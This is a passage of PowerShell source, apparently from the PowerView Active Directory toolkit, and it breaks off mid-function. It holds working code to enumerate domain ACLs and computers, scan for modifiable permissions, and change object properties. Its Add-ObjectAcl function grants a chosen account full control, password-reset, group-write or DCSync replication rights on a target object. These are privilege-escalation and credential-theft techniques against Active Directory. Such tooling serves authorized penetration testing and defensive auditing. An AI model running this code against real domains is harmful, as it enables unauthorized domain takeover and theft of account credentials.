3168 'ComputerName' = $ComputerName
3169 'Username' = $UserName
3170 'Address' = $Address
3171 'ID' = '4624'
3172 'LogonType' = $LogonType
3173 'Time' = $_.TimeCreated
3174 }
3175 New-Object -TypeName PSObject -Property $LogonEventProperties
3176 }
3177 }
3178 catch {
3179 Write-Verbose "Error parsing event logs: $_"
3180 }
3181 }
3182 }
3183 if($ID -contains 4768) {
3184 # the TGT event type
3185 try {
3186 if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') {
3187 if($Matches) {
3188 $Username = $Matches[0].split("`n")[1].split(":")[1].trim()
3189 $Domain = $Matches[0].split("`n")[2].split(":")[1].trim()
3190 $Matches = $Null
3191 }
3192 }
3193
3194 if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') {
3195 if($Matches) {
3196 $Address = $Matches[0].split("`n")[1].split(":")[-1].trim()
3197 $Matches = $Null
3198 }
3199 }
3200
3201 $LogonEventProperties = @{
3202 'Domain' = $Domain
3203 'ComputerName' = $ComputerName
3204 'Username' = $UserName
3205 'Address' = $Address
3206 'ID' = '4768'
3207 'LogonType' = ''
3208 'Time' = $_.TimeCreated
3209 }
3210
3211 New-Object -TypeName PSObject -Property $LogonEventProperties
3212 }
3213 catch {
3214 Write-Verbose "Error parsing event logs: $_"
3215 }
3216 }
3217 }
3218}
3219
3220
3221function Get-ObjectAcl {
3222<#
3223 .SYNOPSIS
3224 Returns the ACLs associated with a specific active directory object.
3225
3226 Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
3227
3228 .PARAMETER SamAccountName
3229
3230 Object name to filter for.
3231
3232 .PARAMETER Name
3233
3234 Object name to filter for.
3235
3236 .PARAMETER DistinguishedName
3237
3238 Object distinguished name to filter for.
3239
3240 .PARAMETER ResolveGUIDs
3241
3242 Switch. Resolve GUIDs to their display names.
3243
3244 .PARAMETER Filter
3245
3246 A customized ldap filter string to use, e.g. "(description=*admin*)"
3247
3248 .PARAMETER ADSpath
3249
3250 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
3251 Useful for OU queries.
3252
3253 .PARAMETER ADSprefix
3254
3255 Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
3256
3257 .PARAMETER RightsFilter
3258
3259 Only return results with the associated rights, "All", "ResetPassword","WriteMembers"
3260
3261 .PARAMETER Domain
3262
3263 The domain to use for the query, defaults to the current domain.
3264
3265 .PARAMETER DomainController
3266
3267 Domain controller to reflect LDAP queries through.
3268
3269 .PARAMETER PageSize
3270
3271 The PageSize to set for the LDAP searcher object.
3272
3273 .EXAMPLE
3274
3275 PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local
3276
3277 Get the ACLs for the matt.admin user in the testlab.local domain
3278
3279 .EXAMPLE
3280
3281 PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs
3282
3283 Get the ACLs for the matt.admin user in the testlab.local domain and
3284 resolve relevant GUIDs to their display names.
3285
3286 .EXAMPLE
3287
3288 PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs
3289
3290 Enumerate the ACL permissions for all OUs in the domain.
3291#>
3292
3293 [CmdletBinding()]
3294 Param (
3295 [Parameter(ValueFromPipelineByPropertyName=$True)]
3296 [String]
3297 $SamAccountName,
3298
3299 [Parameter(ValueFromPipelineByPropertyName=$True)]
3300 [String]
3301 $Name = "*",
3302
3303 [Parameter(ValueFromPipelineByPropertyName=$True)]
3304 [String]
3305 $DistinguishedName = "*",
3306
3307 [Switch]
3308 $ResolveGUIDs,
3309
3310 [String]
3311 $Filter,
3312
3313 [String]
3314 $ADSpath,
3315
3316 [String]
3317 $ADSprefix,
3318
3319 [String]
3320 [ValidateSet("All","ResetPassword","WriteMembers")]
3321 $RightsFilter,
3322
3323 [String]
3324 $Domain,
3325
3326 [String]
3327 $DomainController,
3328
3329 [ValidateRange(1,10000)]
3330 [Int]
3331 $PageSize = 200
3332 )
3333
3334 begin {
3335 $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize
3336
3337 # get a GUID -> name mapping
3338 if($ResolveGUIDs) {
3339 $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize
3340 }
3341 }
3342
3343 process {
3344
3345 if ($Searcher) {
3346
3347 if($SamAccountName) {
3348 $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
3349 }
3350 else {
3351 $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
3352 }
3353
3354 try {
3355 $Results = $Searcher.FindAll()
3356 $Results | Where-Object {$_} | ForEach-Object {
3357 $Object = [adsi]($_.path)
3358
3359 if($Object.distinguishedname) {
3360 $Access = $Object.PsBase.ObjectSecurity.access
3361 $Access | ForEach-Object {
3362 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
3363
3364 if($Object.objectsid[0]){
3365 $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
3366 }
3367 else {
3368 $S = $Null
3369 }
3370
3371 $_ | Add-Member NoteProperty 'ObjectSID' $S
3372 $_
3373 }
3374 }
3375 } | ForEach-Object {
3376 if($RightsFilter) {
3377 $GuidFilter = Switch ($RightsFilter) {
3378 "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
3379 "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
3380 Default { "00000000-0000-0000-0000-000000000000"}
3381 }
3382 if($_.ObjectType -eq $GuidFilter) { $_ }
3383 }
3384 else {
3385 $_
3386 }
3387 } | ForEach-Object {
3388 if($GUIDs) {
3389 # if we're resolving GUIDs, map them them to the resolved hash table
3390 $AclProperties = @{}
3391 $_.psobject.properties | ForEach-Object {
3392 if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) {
3393 try {
3394 $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()]
3395 }
3396 catch {
3397 $AclProperties[$_.Name] = $_.Value
3398 }
3399 }
3400 else {
3401 $AclProperties[$_.Name] = $_.Value
3402 }
3403 }
3404 New-Object -TypeName PSObject -Property $AclProperties
3405 }
3406 else { $_ }
3407 }
3408 $Results.dispose()
3409 $Searcher.dispose()
3410 }
3411 catch {
3412 Write-Warning $_
3413 }
3414 }
3415 }
3416}
3417
3418
3419function Add-ObjectAcl {
3420<#
3421 .SYNOPSIS
3422
3423 Adds an ACL for a specific active directory object.
3424
3425 AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3)
3426 https://adsecurity.org/?p=1906
3427
3428 ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects.
3429
3430 'ResetPassword' doesn't need to know the user's current password
3431 'WriteMembers' allows for the modification of group membership
3432
3433 .PARAMETER TargetSamAccountName
3434
3435 Target object name to filter for.
3436
3437 .PARAMETER TargetName
3438
3439 Target object name to filter for.
3440
3441 .PARAMETER TargetDistinguishedName
3442
3443 Target object distinguished name to filter for.
3444
3445 .PARAMETER TargetFilter
3446
3447 A customized ldap filter string to use to find a target, e.g. "(description=*admin*)"
3448
3449 .PARAMETER TargetADSpath
3450
3451 The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
3452
3453 .PARAMETER TargetADSprefix
3454
3455 Prefix to set for the target searcher (like "CN=Sites,CN=Configuration")
3456
3457 .PARAMETER PrincipalSID
3458
3459 The SID of the principal object to add for access.
3460
3461 .PARAMETER PrincipalName
3462
3463 The name of the principal object to add for access.
3464
3465 .PARAMETER PrincipalSamAccountName
3466
3467 The samAccountName of the principal object to add for access.
3468
3469 .PARAMETER Rights
3470
3471 Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync"
3472
3473 .PARAMETER Domain
3474
3475 The domain to use for the target query, defaults to the current domain.
3476
3477 .PARAMETER DomainController
3478
3479 Domain controller to reflect LDAP queries through.
3480
3481 .PARAMETER PageSize
3482
3483 The PageSize to set for the LDAP searcher object.
3484
3485 .EXAMPLE
3486
3487 Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john
3488
3489 Grants 'john' all full access rights to the 'matt' account.
3490
3491 .EXAMPLE
3492
3493 Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword
3494
3495 Grants 'john' the right to reset the password for the 'matt' account.
3496
3497 .LINK
3498
3499 https://adsecurity.org/?p=1906
3500
3501 https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
3502#>
3503
3504 [CmdletBinding()]
3505 Param (
3506 [String]
3507 $TargetSamAccountName,
3508
3509 [String]
3510 $TargetName = "*",
3511
3512 [Alias('DN')]
3513 [String]
3514 $TargetDistinguishedName = "*",
3515
3516 [String]
3517 $TargetFilter,
3518
3519 [String]
3520 $TargetADSpath,
3521
3522 [String]
3523 $TargetADSprefix,
3524
3525 [String]
3526 [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')]
3527 $PrincipalSID,
3528
3529 [String]
3530 $PrincipalName,
3531
3532 [String]
3533 $PrincipalSamAccountName,
3534
3535 [String]
3536 [ValidateSet("All","ResetPassword","WriteMembers","DCSync")]
3537 $Rights = "All",
3538
3539 [String]
3540 $RightsGUID,
3541
3542 [String]
3543 $Domain,
3544
3545 [String]
3546 $DomainController,
3547
3548 [ValidateRange(1,10000)]
3549 [Int]
3550 $PageSize = 200
3551 )
3552
3553 begin {
3554 $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize
3555
3556 if($PrincipalSID) {
3557 $ResolvedPrincipalSID = $PrincipalSID
3558 }
3559 else {
3560 $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize
3561
3562 if(!$Principal) {
3563 throw "Error resolving principal"
3564 }
3565 $ResolvedPrincipalSID = $Principal.objectsid
3566 }
3567 if(!$ResolvedPrincipalSID) {
3568 throw "Error resolving principal"
3569 }
3570 }
3571
3572 process {
3573
3574 if ($Searcher) {
3575
3576 if($TargetSamAccountName) {
3577 $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
3578 }
3579 else {
3580 $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
3581 }
3582
3583 try {
3584 $Results = $Searcher.FindAll()
3585 $Results | Where-Object {$_} | ForEach-Object {
3586
3587 # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects
3588
3589 $TargetDN = $_.Properties.distinguishedname
3590
3591 $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID)
3592 $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
3593 $ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
3594 $ACEs = @()
3595
3596 if($RightsGUID) {
3597 $GUIDs = @($RightsGUID)
3598 }
3599 else {
3600 $GUIDs = Switch ($Rights) {
3601 # ResetPassword doesn't need to know the user's current password
3602 "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
3603 # allows for the modification of group membership
3604 "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
3605 # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
3606 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
3607 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
3608 # when applied to a domain's ACL, allows for the use of DCSync
3609 "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"}
3610 }
3611 }
3612
3613 if($GUIDs) {
3614 foreach($GUID in $GUIDs) {
3615 $NewGUID = New-Object Guid $GUID
3616 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
3617 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType
3618 }
3619 }
3620 else {
3621 # deault to GenericAll rights
3622 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"
3623 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType
3624 }
3625
3626 Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)"
3627
3628 try {
3629 # add all the new ACEs to the specified object
3630 ForEach ($ACE in $ACEs) {
3631 Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)"
3632 $Object = [adsi]($_.path)
3633 $Object.PsBase.ObjectSecurity.AddAccessRule($ACE)
3634 $Object.PsBase.commitchanges()
3635 }
3636 }
3637 catch {
3638 Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_"
3639 }
3640 }
3641 $Results.dispose()
3642 $Searcher.dispose()
3643 }
3644 catch {
3645 Write-Warning "Error: $_"
3646 }
3647 }
3648 }
3649}
3650
3651
3652function Invoke-ACLScanner {
3653<#
3654 .SYNOPSIS
3655 Searches for ACLs for specifable AD objects (default to all domain objects)
3656 with a domain sid of > -1000, and have modifiable rights.
3657
3658 Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
3659
3660 .PARAMETER SamAccountName
3661
3662 Object name to filter for.
3663
3664 .PARAMETER Name
3665
3666 Object name to filter for.
3667
3668 .PARAMETER DistinguishedName
3669
3670 Object distinguished name to filter for.
3671
3672 .PARAMETER Filter
3673
3674 A customized ldap filter string to use, e.g. "(description=*admin*)"
3675
3676 .PARAMETER ADSpath
3677
3678 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
3679 Useful for OU queries.
3680
3681 .PARAMETER ADSprefix
3682
3683 Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
3684
3685 .PARAMETER Domain
3686
3687 The domain to use for the query, defaults to the current domain.
3688
3689 .PARAMETER DomainController
3690
3691 Domain controller to reflect LDAP queries through.
3692
3693 .PARAMETER ResolveGUIDs
3694
3695 Switch. Resolve GUIDs to their display names.
3696
3697 .PARAMETER PageSize
3698
3699 The PageSize to set for the LDAP searcher object.
3700
3701 .EXAMPLE
3702
3703 PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv
3704
3705 Enumerate all modifable ACLs in the current domain, resolving GUIDs to display
3706 names, and export everything to a .csv
3707#>
3708
3709 [CmdletBinding()]
3710 Param (
3711 [Parameter(ValueFromPipeline=$True)]
3712 [String]
3713 $SamAccountName,
3714
3715 [String]
3716 $Name = "*",
3717
3718 [Alias('DN')]
3719 [String]
3720 $DistinguishedName = "*",
3721
3722 [String]
3723 $Filter,
3724
3725 [String]
3726 $ADSpath,
3727
3728 [String]
3729 $ADSprefix,
3730
3731 [String]
3732 $Domain,
3733
3734 [String]
3735 $DomainController,
3736
3737 [Switch]
3738 $ResolveGUIDs,
3739
3740 [ValidateRange(1,10000)]
3741 [Int]
3742 $PageSize = 200
3743 )
3744
3745 # Get all domain ACLs with the appropriate parameters
3746 Get-ObjectACL @PSBoundParameters | ForEach-Object {
3747 # add in the translated SID for the object identity
3748 $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value)
3749 $_
3750 } | Where-Object {
3751 # check for any ACLs with SIDs > -1000
3752 try {
3753 # TODO: change this to a regex for speedup?
3754 [int]($_.IdentitySid.split("-")[-1]) -ge 1000
3755 }
3756 catch {}
3757 } | Where-Object {
3758 # filter for modifiable rights
3759 ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow"))
3760 }
3761}
3762
3763
3764filter Get-GUIDMap {
3765<#
3766 .SYNOPSIS
3767
3768 Helper to build a hash table of [GUID] -> resolved names
3769
3770 Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
3771
3772 .PARAMETER Domain
3773
3774 The domain to use for the query, defaults to the current domain.
3775
3776 .PARAMETER DomainController
3777
3778 Domain controller to reflect LDAP queries through.
3779
3780 .PARAMETER PageSize
3781
3782 The PageSize to set for the LDAP searcher object.
3783
3784 .LINK
3785
3786 http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx
3787#>
3788
3789 [CmdletBinding()]
3790 Param (
3791 [Parameter(ValueFromPipeline=$True)]
3792 [String]
3793 $Domain,
3794
3795 [String]
3796 $DomainController,
3797
3798 [ValidateRange(1,10000)]
3799 [Int]
3800 $PageSize = 200
3801 )
3802
3803 $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
3804
3805 $SchemaPath = (Get-NetForest).schema.name
3806
3807 $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize
3808 if($SchemaSearcher) {
3809 $SchemaSearcher.filter = "(schemaIDGUID=*)"
3810 try {
3811 $Results = $SchemaSearcher.FindAll()
3812 $Results | Where-Object {$_} | ForEach-Object {
3813 # convert the GUID
3814 $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
3815 }
3816 $Results.dispose()
3817 $SchemaSearcher.dispose()
3818 }
3819 catch {
3820 Write-Verbose "Error in building GUID map: $_"
3821 }
3822 }
3823
3824 $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential
3825 if ($RightsSearcher) {
3826 $RightsSearcher.filter = "(objectClass=controlAccessRight)"
3827 try {
3828 $Results = $RightsSearcher.FindAll()
3829 $Results | Where-Object {$_} | ForEach-Object {
3830 # convert the GUID
3831 $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
3832 }
3833 $Results.dispose()
3834 $RightsSearcher.dispose()
3835 }
3836 catch {
3837 Write-Verbose "Error in building GUID map: $_"
3838 }
3839 }
3840
3841 $GUIDs
3842}
3843
3844
3845function Get-NetComputer {
3846<#
3847 .SYNOPSIS
3848
3849 This function utilizes adsisearcher to query the current AD context
3850 for current computer objects. Based off of Carlos Perez's Audit.psm1
3851 script in Posh-SecMod (link below).
3852
3853 .PARAMETER ComputerName
3854
3855 Return computers with a specific name, wildcards accepted.
3856
3857 .PARAMETER SPN
3858
3859 Return computers with a specific service principal name, wildcards accepted.
3860
3861 .PARAMETER OperatingSystem
3862
3863 Return computers with a specific operating system, wildcards accepted.
3864
3865 .PARAMETER ServicePack
3866
3867 Return computers with a specific service pack, wildcards accepted.
3868
3869 .PARAMETER Filter
3870
3871 A customized ldap filter string to use, e.g. "(description=*admin*)"
3872
3873 .PARAMETER Printers
3874
3875 Switch. Return only printers.
3876
3877 .PARAMETER Ping
3878
3879 Switch. Ping each host to ensure it's up before enumerating.
3880
3881 .PARAMETER FullData
3882
3883 Switch. Return full computer objects instead of just system names (the default).
3884
3885 .PARAMETER Domain
3886
3887 The domain to query for computers, defaults to the current domain.
3888
3889 .PARAMETER DomainController
3890
3891 Domain controller to reflect LDAP queries through.
3892
3893 .PARAMETER ADSpath
3894
3895 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
3896 Useful for OU queries.
3897
3898 .PARAMETER SiteName
3899
3900 The AD Site name to search for computers.
3901
3902 .PARAMETER Unconstrained
3903
3904 Switch. Return computer objects that have unconstrained delegation.
3905
3906 .PARAMETER PageSize
3907
3908 The PageSize to set for the LDAP searcher object.
3909
3910 .PARAMETER Credential
3911
3912 A [Management.Automation.PSCredential] object of alternate credentials
3913 for connection to the target domain.
3914
3915 .EXAMPLE
3916
3917 PS C:\> Get-NetComputer
3918
3919 Returns the current computers in current domain.
3920
3921 .EXAMPLE
3922
3923 PS C:\> Get-NetComputer -SPN mssql*
3924
3925 Returns all MS SQL servers on the domain.
3926
3927 .EXAMPLE
3928
3929 PS C:\> Get-NetComputer -Domain testing
3930
3931 Returns the current computers in 'testing' domain.
3932
3933 .EXAMPLE
3934
3935 PS C:\> Get-NetComputer -Domain testing -FullData
3936
3937 Returns full computer objects in the 'testing' domain.
3938
3939 .LINK
3940
3941 https://github.com/darkoperator/Posh-SecMod/blob/master/Audit/Audit.psm1
3942#>
3943
3944 [CmdletBinding()]
3945 Param (
3946 [Parameter(ValueFromPipeline=$True)]
3947 [Alias('HostName')]
3948 [String]
3949 $ComputerName = '*',
3950
3951 [String]
3952 $SPN,
3953
3954 [String]
3955 $OperatingSystem,
3956
3957 [String]
3958 $ServicePack,
3959
3960 [String]
3961 $Filter,
3962
3963 [Switch]
3964 $Printers,
3965
3966 [Switch]
3967 $Ping,
3968
3969 [Switch]
3970 $FullData,
3971
3972 [String]
3973 $Domain,
3974
3975 [String]
3976 $DomainController,
3977
3978 [String]
3979 $ADSpath,
3980
3981 [String]
3982 $SiteName,
3983
3984 [Switch]
3985 $Unconstrained,
3986
3987 [ValidateRange(1,10000)]
3988 [Int]
3989 $PageSize = 200,
3990
3991 [Management.Automation.PSCredential]
3992 $Credential
3993 )
3994
3995 begin {
3996 # so this isn't repeated if multiple computer names are passed on the pipeline
3997 $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential
3998 }
3999
4000 process {
4001
4002 if ($CompSearcher) {
4003
4004 # if we're checking for unconstrained delegation
4005 if($Unconstrained) {
4006 Write-Verbose "Searching for computers with for unconstrained delegation"
4007 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
4008 }
4009 # set the filters for the seracher if it exists
4010 if($Printers) {
4011 Write-Verbose "Searching for printers"
4012 # $CompSearcher.filter="(&(objectCategory=printQueue)$Filter)"
4013 $Filter += "(objectCategory=printQueue)"
4014 }
4015 if($SPN) {
4016 Write-Verbose "Searching for computers with SPN: $SPN"
4017 $Filter += "(servicePrincipalName=$SPN)"
4018 }
4019 if($OperatingSystem) {
4020 $Filter += "(operatingsystem=$OperatingSystem)"
4021 }
4022 if($ServicePack) {
4023 $Filter += "(operatingsystemservicepack=$ServicePack)"
4024 }
4025 if($SiteName) {
4026 $Filter += "(serverreferencebl=$SiteName)"
4027 }
4028
4029 $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
4030 Write-Verbose "Get-NetComputer filter : '$CompFilter'"
4031 $CompSearcher.filter = $CompFilter
4032
4033 try {
4034 $Results = $CompSearcher.FindAll()
4035 $Results | Where-Object {$_} | ForEach-Object {
4036 $Up = $True
4037 if($Ping) {
4038 # TODO: how can these results be piped to ping for a speedup?
4039 $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
4040 }
4041 if($Up) {
4042 # return full data objects
4043 if ($FullData) {
4044 # convert/process the LDAP fields for each result
4045 $Computer = Convert-LDAPProperty -Properties $_.Properties
4046 $Computer.PSObject.TypeNames.Add('PowerView.Computer')
4047 $Computer
4048 }
4049 else {
4050 # otherwise we're just returning the DNS host name
4051 $_.properties.dnshostname
4052 }
4053 }
4054 }
4055 $Results.dispose()
4056 $CompSearcher.dispose()
4057 }
4058 catch {
4059 Write-Warning "Error: $_"
4060 }
4061 }
4062 }
4063}
4064
4065
4066function Get-ADObject {
4067<#
4068 .SYNOPSIS
4069
4070 Takes a domain SID and returns the user, group, or computer object
4071 associated with it.
4072
4073 .PARAMETER SID
4074
4075 The SID of the domain object you're querying for.
4076
4077 .PARAMETER Name
4078
4079 The Name of the domain object you're querying for.
4080
4081 .PARAMETER SamAccountName
4082
4083 The SamAccountName of the domain object you're querying for.
4084
4085 .PARAMETER Domain
4086
4087 The domain to query for objects, defaults to the current domain.
4088
4089 .PARAMETER DomainController
4090
4091 Domain controller to reflect LDAP queries through.
4092
4093 .PARAMETER ADSpath
4094
4095 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
4096 Useful for OU queries.
4097
4098 .PARAMETER Filter
4099
4100 Additional LDAP filter string for the query.
4101
4102 .PARAMETER ReturnRaw
4103
4104 Switch. Return the raw object instead of translating its properties.
4105 Used by Set-ADObject to modify object properties.
4106
4107 .PARAMETER PageSize
4108
4109 The PageSize to set for the LDAP searcher object.
4110
4111 .PARAMETER Credential
4112
4113 A [Management.Automation.PSCredential] object of alternate credentials
4114 for connection to the target domain.
4115
4116 .EXAMPLE
4117
4118 PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110"
4119
4120 Get the domain object associated with the specified SID.
4121
4122 .EXAMPLE
4123
4124 PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local"
4125
4126 Get the AdminSDHolder object for the testlab.local domain.
4127#>
4128
4129 [CmdletBinding()]
4130 Param (
4131 [Parameter(ValueFromPipeline=$True)]
4132 [String]
4133 $SID,
4134
4135 [String]
4136 $Name,
4137
4138 [String]
4139 $SamAccountName,
4140
4141 [String]
4142 $Domain,
4143
4144 [String]
4145 $DomainController,
4146
4147 [String]
4148 $ADSpath,
4149
4150 [String]
4151 $Filter,
4152
4153 [Switch]
4154 $ReturnRaw,
4155
4156 [ValidateRange(1,10000)]
4157 [Int]
4158 $PageSize = 200,
4159
4160 [Management.Automation.PSCredential]
4161 $Credential
4162 )
4163 process {
4164 if($SID) {
4165 # if a SID is passed, try to resolve it to a reachable domain name for the searcher
4166 try {
4167 $Name = Convert-SidToName $SID
4168 if($Name) {
4169 $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical
4170 if($Canonical) {
4171 $Domain = $Canonical.split("/")[0]
4172 }
4173 else {
4174 Write-Warning "Error resolving SID '$SID'"
4175 return $Null
4176 }
4177 }
4178 }
4179 catch {
4180 Write-Warning "Error resolving SID '$SID' : $_"
4181 return $Null
4182 }
4183 }
4184
4185 $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
4186
4187 if($ObjectSearcher) {
4188 if($SID) {
4189 $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"
4190 }
4191 elseif($Name) {
4192 $ObjectSearcher.filter = "(&(name=$Name)$Filter)"
4193 }
4194 elseif($SamAccountName) {
4195 $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)"
4196 }
4197
4198 $Results = $ObjectSearcher.FindAll()
4199 $Results | Where-Object {$_} | ForEach-Object {
4200 if($ReturnRaw) {
4201 $_
4202 }
4203 else {
4204 # convert/process the LDAP fields for each result
4205 Convert-LDAPProperty -Properties $_.Properties
4206 }
4207 }
4208 $Results.dispose()
4209 $ObjectSearcher.dispose()
4210 }
4211 }
4212}
4213
4214
4215function Set-ADObject {
4216<#
4217 .SYNOPSIS
4218
4219 Takes a SID, name, or SamAccountName to query for a specified
4220 domain object, and then sets a specified 'PropertyName' to a
4221 specified 'PropertyValue'.
4222
4223 .PARAMETER SID
4224
4225 The SID of the domain object you're querying for.
4226
4227 .PARAMETER Name
4228
4229 The Name of the domain object you're querying for.
4230
4231 .PARAMETER SamAccountName
4232
4233 The SamAccountName of the domain object you're querying for.
4234
4235 .PARAMETER Domain
4236
4237 The domain to query for objects, defaults to the current domain.
4238
4239 .PARAMETER DomainController
4240
4241 Domain controller to reflect LDAP queries through.
4242
4243 .PARAMETER Filter
4244
4245 Additional LDAP filter string for the query.
4246
4247 .PARAMETER PropertyName
4248
4249 The property name to set.
4250
4251 .PARAMETER PropertyValue
4252
4253 The value to set for PropertyName
4254
4255 .PARAMETER PropertyXorValue
4256
4257 Integer value to binary xor (-bxor) with the current int value.
4258
4259 .PARAMETER ClearValue
4260
4261 Switch. Clear the value of PropertyName
4262
4263 .PARAMETER PageSize
4264
4265 The PageSize to set for the LDAP searcher object.
4266
4267 .PARAMETER Credential
4268
4269 A [Management.Automation.PSCredential] object of alternate credentials
4270 for connection to the target domain.
4271
4272 .EXAMPLE
4273
4274 PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0
4275
4276 Set the countrycode for matt.admin to 0
4277
4278 .EXAMPLE
4279
4280 PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536
4281
4282 Set the password not to expire on matt.admin
4283#>
4284
4285 [CmdletBinding()]
4286 Param (
4287 [String]
4288 $SID,
4289
4290 [String]
4291 $Name,
4292
4293 [String]
4294 $SamAccountName,
4295
4296 [String]
4297 $Domain,
4298
4299 [String]
4300 $DomainController,
4301
4302 [String]
4303 $Filter,
4304
4305 [Parameter(Mandatory = $True)]
4306 [String]
4307 $PropertyName,
4308
4309 $PropertyValue,
4310
4311 [Int]
4312 $PropertyXorValue,
4313
4314 [Switch]
4315 $ClearValue,
